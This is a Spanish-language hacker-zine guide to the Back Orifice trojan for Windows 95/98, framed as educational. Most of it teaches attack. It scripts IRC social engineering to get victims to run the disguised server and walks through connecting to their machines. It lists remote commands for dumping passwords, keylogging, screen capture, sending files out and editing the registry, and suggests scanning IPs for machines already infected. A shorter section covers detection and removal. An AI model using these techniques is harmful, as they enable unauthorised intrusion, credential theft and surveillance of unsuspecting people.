Back Orifice

 Redactora jefe:                    Barbwired
 Colaboradores:                  FREEDOM, Darkbyte, Ulandrn, Mr. Nexus.




Este texto pretende explicar de forma clara y concisa el uso del
BO en w95 y las posibles aplicaciones que se le pueden dar en IRC.
De ningun modo se pretende incitar a la ilegalidad y este documento se
redacta con fines educativos, para la investigacion y prevencion del
ataque.
Una pequea parte del texto consiste en la recopilacin/traduccin del
trabajo
de otros. Cuando tenga tiempo los citar

0 - Que es el BO?

Se trata de un troyano que se aprovecha vilmente de los bugs de
seguridad
de w95/98. NO tengo constancia de su funcionamiento en NT. Quien consiga

colarle el bo a un incauto, tendra acceso a todo su sistema: Disco duro,

cdrom, disketera, y por supuesto a sus archivos y directorios, pudiendo
borrarlos o modificarlos, bajarlos a su propio disco duro...
(No seamos malos).

1 - Donde conseguir este magnifico exploit?

BO se puede conseguir en las siguientes direcciones:
www.members.xoom.com/lynx/ en la zona de download (descarga).
http://www.cultdeadcow.com/
Para una mayor informacin se recomienda visitar:
www.rootshell.com/

2 - Ya tengo el Bo.zip, Que contiene?

El bo.zip o bo120.zip consta de una serie de archivos:

bo.txt   Oscuro documento explicativo. No se entiende mucho.
plugin.txt  Traducido en el epigrafe Apendice de este doc.
boserve.exe  El servidor autoinstalable del BO
bogui.exe  Cliente gui del BO
boclient.exe  Cliente en modo texto del BO
boconfig.exe  Utilidad de configuracin y plugin del server de BO
melt.exe  Descompresor de archivos comprimidos con el comando freeze
freeze.exe  Compresor de archivos. SE pueden descomprimir con melt.

3 - Qu hacer con todos estos archivos?

Para que todo funcione correctamente debes saber que BAJO NINGUN
CONCEPTO
debes ejecutar boserve.exe, pues te hara sensible al ataque.

Lo primero que hay que hacer es averiguar la ip del pardillo. Despues
hay que
meterle como sea el archivo boserve.exe. Y conseguir que lo ejecute.
Aqu
entra en juego la imaginacion de cada uno. El campo ideal de accion es
el
IRC. Aqui los pobres chateros de a pie hablan a sus anchas,
desconocedores
del peligro que les acecha.

4- Como le meto el BO al pardillo?

Hay que elegir una vicima que trabaje bajo windows. Todos sabemos que
eso es
facil de averiguar en IRC.
Truco facil y muy visto, por tanto poco efectivo: renombrar boserve.exe
a fotos.exe. Si ya tienes algo de confianza con la victima en cuestion
lo
aceptara sin mayores problemas. Para gente mas desconfiada, intenta
colarselo
despues de hacerte tu el desconfiado:

En el canal #intercambio_de_fotos_guarras_muy_fuertes:

 Elite: Que tienes para cambiar?
 Pardillo: un par de fotos de Barbwired, que esta tremenda.
 E: Pero estas seguro de que es Barb de verdad?, que si no no te mando
    nada, que ya me la han querido liar...
 P: De verdad, que me las acabo de bajar de Playboy!
 E: Vale, pues te mando yo una de Barbwired que tb esta muy buena.
 P: Anda! Barbwired, a mi me pone toda la pila... Uf!!!
  ... etc, etc, etc....
Y luego le dices que tienes un ejecutable, que es una animacion de
Barbwired
con su novia (todos sabemos que Barb es bisexual). XDDD Asi te llevas
por el
morro unas cuantas fotos de Barbwired y encima le cuelas el boserve.exe.

Cuando nuestro amigo Pardillo ejecute la animacion y vea que no sale
Barb por
ningun lado se va a coger un cabreo de narices, y con razon. Te
disculpas
como buenamente puedas y le dices que el fichero esta defectuoso y que
te lo
vas a volver a bajar. Lo que te apetezca, pero queda bien con el tio,
para
que no se corra la voz y sigan confiando en ti y en tus fotos guarras.
Es
conveniente hacerselo a varios a la vez en privado, para tener un buen
numero
de victimas. Con la excusa de volvertelo a bajar, te sales de Irc.
Vuelves a entrar con otro nick y a trabajar.

5 - Como accedo al ordenador del Pardillo?

  Pasos a seguir:
  a) Copiar boclient.exe en tu directorio raiz, c:\
  b) Abrir una ventana de msdos en w95
  c) Resolver la ip de la victima. Facil de hacer en IRC. Si quieres le
das
    conversacion para que no se vaya.
  d) En la ventana de msdos, desde la linea de comandos ejecutar
boclient.exe
    a continuacion teclea host "IPdelPardillo", sin comillas.
  e) En teoria ya estas dentro.

6 - Que puedo hacer una vez dentro?

Puedes hacer maravillas. Pero por algo hay que empezar:
Desde bo tecleas dir. Te mostrara los archivos de su HD.
Si tecleas passes te saldran cosas interesantes, osea, algunas
passwords.
Puedes teclear cd directorio para explorar. Como en MsDos.
Fcil.

Cosas bonitas para "perfeccionistas"
Puedes abrirle el puerto http y ver su disco duro cmodamente con tu
navegador (A ver si soy capaz de hacerme entender):
Una vez dentro tienes que teclear httpon 80, o sea activar el http y el
puerto. Si por ejemplo tiene conectado el http con otra cosa, se lo
cierras
primero con httpoff y el puerto que tenga abierto. Pero, como sabes el
puerto que tiene abierto? un scaneado? Ejecutas el httpon  y te dice el

estado del http y el puerto es decir, le cierras los puertos que tenga
abiertos y luego le abres el 80.

Ms comandos (traducido de la documentacion que acompaa al BO):
Recuerda que en todo momento hablamos del cliente de texto, el
boclient.exe.

appadd   Lanza una aplicacion de texto en un puerto tcp. Para controlar
una
         aplicacion dos o de texto (como el command.com) via telnet.

appdel   evita que una aplicacion oiga las conexiones.

applist  Da un listado de las aplicaciones que escuchan la conexion en
ese
  momento.

md  Crea un directorio.

dir  muestra los archivos y directorios.

rd  Borra un directorio.

shareadd Crea un export en el servidor.

sharedel Borra un export.

copy  Copia archivos.

del  Borra archivos.

find     Busca en el arbol los archivos.

freeze  Comprime un archivo

melt  Descomprime un archivo comprimido con freeze.

view  Visor del contenido de un archivo.

httpoff  Cierra el servidor http.

httpon  Abre el servidor http.

keylog   Logea las teclas que se aprietan en el servidor (victima) a un
  archivo de texto. El log muestra el nombre de la ventana en que
  se tecleo el texto.

keylog   stopend Acaba el log de teclado.

capavi   Captura video y audio de un dispositivo a un archivo .avi

capscreen Captura una imagen de la pantalla del server a formato .bmp

listcaps  da un listado de los dispositivos de entrada de video.

sound   ejecuta un archivo de sonido en el servidor (Te lo imaginas?).

netlist   Listado de las conexiones de red.

netdisconnect Desconecta el servidor de una red.

netconnect Conecta el servidor a una red.

netview  Ve todas las interfaces de red, servidores, dominios .

ping Hace ping al host. Da el nombre del host y la version del vo.

pluginexec Ejecuta un plugin para BO.

pluginkill Cierra el plugin.

pluginlist Da un listado de los plugin activos.

prockill   Finaliza un proceso.

proclist   Listado de los procesos en curso.

procspawn  Ejecuta un programa.

rediradd  Redirecciona los paquetes ip entrantes a otra ip

redirdel Para el redireccionamiento.

redirlist Listado de puertos de rediccionamiento activos

regmakekey Crea una entrada en el registro

regdelkey Borra una entrada en el registro.

regdelval Borra un valor del registro.

reglistkeys Listado sub llaves de una llave del registro

reglistvals Listado de los valores de una llave del registro

regsetval establece el valor de una llave del registro

resolve resuelve la direccion ip del server

dialog Crea un cuadro de dialogo con el texto que quieras y el boton ok

info Da la informacion completa del server

lockup cierra el server

passes Muestra las contraseas del usuario actual y la del
salvapantallas.
 Pueden contener basura al final.

reboot Apaga el server y lo reinicia. XDDD

tcprecv Conecta el server a una ip concreta y guarda la data recivida de
esa
        conexion al archivo especificado.

tcpsend conecta el server a una ip, manda el contenido del archivo
        especificado y cierra la conexion


Bueno, ya vemos que se pueden hacer maravillas. Ver epigrafe 9.

8 - Me puedo aprovechar del trabajo de otros?

Por supuesto. Otros ya han hecho la parte mas dura por ti (colar el
troyano).
Puedes probar "a ciegas" desde bo cada ip, con el comando host "ip". Si
te
funciona el comando dir, esta infectado!!! O sea, que estas dentro.

Parece ser segun http://www.ntbugtraq.com/ que existen por ahi varios
detectores de B.O. (entre ellos el BoSniffer.zip) que son en realidad
troyanos (con el BOServer + el pluggin SpeakEasy). Este troyano intenta
un
login en el canal #BO_OWNED de un servidor IRC con un nick aleatorio
informando ademAs de la IP del "afortunado galardonado" con el troyano.

9 - Puedo formatearle el Disco Duro?

Os pido encarecidamente que no os paseis. No hagais putadas.
Robad fotos porno, cread un dir "Pervertido" o "Mehemetidoentuvida".
Intentad acceder al cdrom. Ejecutadle un archivo de sonido.
Que flipe, pero no abuseis.
Si hace un Netstat vera vuestra ip. Y sabeis que con la IP, y la hora en

que ocurri todo, el ISP y Timonica, de la mano como hermanos, os pueden

recomendar un bello hotelito... lo de siempre, precaucion.


10 - Protecciones caseras contra BO

Algunas versiones de BO estan modificadas para no ser detectadas por
Norton y otros. Una manera casera de detectar BO es buscar la cadena
"bofilemapping". Otra es hacer "command /k /netstat -n" y ver si hay
algun puerto funcionando en 3000 y pico. Por defecto BO usa el 31377.

Tambien hay que controlar en
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
y buscar anomalias como windll.dll, la libreria que BO usa por defecto
para cargarse en el sistema.
Por supuesto puede tener otro nombre y estar acompanyada de comentarios
falsos "Key file for Windows System Tray, do not delete", etc.

BO no puede acceder a directorios cuyo nombre contenga un alt+255, este
puede ser un buen lugar para instalar el antivirus.


PROTECCIONES GRATUITAS CONTRA BO:
En www.bardon.com\boelimdl.htm tienen "Back Orifice Eliminator 1.02" que

parece ser la mejor proteccion que circula por ahi.
Otras son:
  Antigen1.zip   189ks www.arez.com\fs
  Pc_bop10.zip   4,25k (Eh.. no si aqui se puede hablar de Phrozen Crew)

Ambos hacen lo mismo, buscan y borran BO. La diferencia es que uno es
ASM y otro app de windoze. Su efectividad no esta nada clara.

Symantec Norton Antivirus tambien es efectivo contra BO, pero no es
gratis, claro.


11 - Accesorios para BO

  * "SpeakEasy" Abre un canal IRC BO_OWNED donde se muestra informacion
  sobre la IP de la victima
  * "SaranWrap" Pega BO a cualquier otro programa.
  * "SilkRope" Idem SaranWrap pero con encriptacion de 8 bits.
  * "ButtTrumpet" Manda eamail a una direccion predeterminada con la
  IP de la victima.
  * Programas que desactivan las protecciones contra BO (solo he oido
  hablar de ellos, pero si hay virus que lo hacen con AVP probablemente
  ya esten por ahi versiones para BO).

Y muchas otras ideas que circulan medio en secreto..

REFERENCIAS
  www.cultdead.cow
  www.cultdeadcow.com\tools\bo\plugins.html
  www.netninja.com\bo\index.html
  www.zdnet.com\pcweek\news\0817\20mbosec.html



Apendice - Cmo puedo escribir mi propio plugin para Back Orifice?
   (Traduccin del original que acompaa al programa)

Para escribir tu propio plugin para el Back Orifice, solo tienes que
crear
una DLL con funciones del tipo:

char *YourFunc(int *active, char *args)

El comando de ejecucin del plugin te permite especificar una dll y un
nombre
de funcion del tipo: "dll:_Function". El resto de los parametros son
pasados
a tu funcion en los args de los parametros. La unica cosa de la que se
ocupa
tu aplicacion es de monitorizar la int al que apunta el activo.
Si ese valor se vuelve 0, el usuario ha pedido que el plugin termine y
tu
funcin deberia restablecerse en lo mas rapidamente posible en cuanto se

cierre todo lo que haga falta ser cerrado.
Tu programa puede devolver NULL, o puede devolver a un pointer que
apunte a
un bufffer esttico que contenga un mensaje de texto que ser ofrecido
al
usuario.
La DLL no se cargar hasta que el texto se copie desde ese buffer.
Y eso es todo lo que hay.


Nota de los autores:
Los acentos se han omitido en aras de la compatibilidad.
La traduccion de la documentacion original ha resultado dificultosa y ha

originado giros linguisticos imposibles. A aquellos mas familiarizados
con
textos tecnicos, o que hayan detectado faltas al rigor, se les pide su
colaboracion.



--
A m, la AUI (Asociacin Usuarios Internet) NO ME REPRESENTA
Desapntate en: http://www.timofonica.com
___________________________________________________

          *O* BaRbWiReD [The Translatrix] *O*
___________________________________________________

La autora del articulo certifica que ningn animal ha sufrido dao
alguno, en el
proceso de redaccin del mismo.
___________________________________________________

http://www.geocities.com/SunsetStrip/Cabaret/9403/
___________________________________________________
